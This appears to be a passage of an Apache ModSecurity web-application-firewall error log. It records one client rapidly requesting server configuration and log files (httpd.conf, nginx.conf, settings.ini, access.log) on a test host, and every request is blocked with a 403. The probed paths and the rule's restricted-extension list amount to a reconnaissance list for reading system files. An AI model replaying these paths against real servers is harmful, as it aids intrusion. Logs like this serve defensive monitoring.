&quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/track&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EwAAAAY&quot;]
[Sun Mar 01 20:26:31.352026 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/track&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EwAAAAY&quot;]
[Sun Mar 01 20:26:31.352208 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=10,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/track&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5EwAAAAY&quot;]
[Sun Mar 01 20:26:31.488961 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/transcoder/settings.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5GQAAAAY&quot;]
[Sun Mar 01 20:26:31.489468 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/transcoder/settings.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5GQAAAAY&quot;]
[Sun Mar 01 20:26:31.489635 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/transcoder/settings.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5GQAAAAY&quot;]
[Sun Mar 01 20:26:31.856724 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultEngine.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KQAAAAY&quot;]
[Sun Mar 01 20:26:31.857268 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultEngine.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KQAAAAY&quot;]
[Sun Mar 01 20:26:31.857467 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultEngine.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KQAAAAY&quot;]
[Sun Mar 01 20:26:31.879497 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultInput.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KgAAAAY&quot;]
[Sun Mar 01 20:26:31.880048 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultInput.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KgAAAAY&quot;]
[Sun Mar 01 20:26:31.880245 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unreal/Config/DefaultInput.ini&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5KgAAAAY&quot;]
[Sun Mar 01 20:26:31.994492 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uplink/scripts/tx_settings.conf&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5LwAAAAY&quot;]
[Sun Mar 01 20:26:31.995052 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uplink/scripts/tx_settings.conf&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5LwAAAAY&quot;]
[Sun Mar 01 20:26:31.995233 2026] [:error] [pid 2400765] [client 185.177.72.30:30952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uplink/scripts/tx_settings.conf&quot;] [unique_id &quot;aaSS5-WvNlascZsmhrI5LwAAAAY&quot;]
[Sun Mar 01 20:26:32.387430 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/lib/pine.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUBgAAAAI&quot;]
[Sun Mar 01 20:26:32.387954 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/lib/pine.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUBgAAAAI&quot;]
[Sun Mar 01 20:26:32.388138 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/lib/pine.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUBgAAAAI&quot;]
[Sun Mar 01 20:26:32.433107 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/apache2/conf/httpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCAAAAAI&quot;]
[Sun Mar 01 20:26:32.433609 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/apache2/conf/httpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCAAAAAI&quot;]
[Sun Mar 01 20:26:32.433767 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/apache2/conf/httpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCAAAAAI&quot;]
[Sun Mar 01 20:26:32.478750 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/etc/lighttpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCgAAAAI&quot;]
[Sun Mar 01 20:26:32.479245 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/etc/lighttpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCgAAAAI&quot;]
[Sun Mar 01 20:26:32.479401 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/etc/lighttpd.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUCgAAAAI&quot;]
[Sun Mar 01 20:26:32.524184 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/nginx/conf/nginx.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUDAAAAAI&quot;]
[Sun Mar 01 20:26:32.524697 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/nginx/conf/nginx.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUDAAAAAI&quot;]
[Sun Mar 01 20:26:32.524868 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/usr/local/nginx/conf/nginx.conf&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUDAAAAAI&quot;]
[Sun Mar 01 20:26:32.801908 2026] [:error] [pid 2400023] [client 185.177.72.30:30968] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aaSS6JIifMrob6GYX-HUGAAAAAI&quot;]
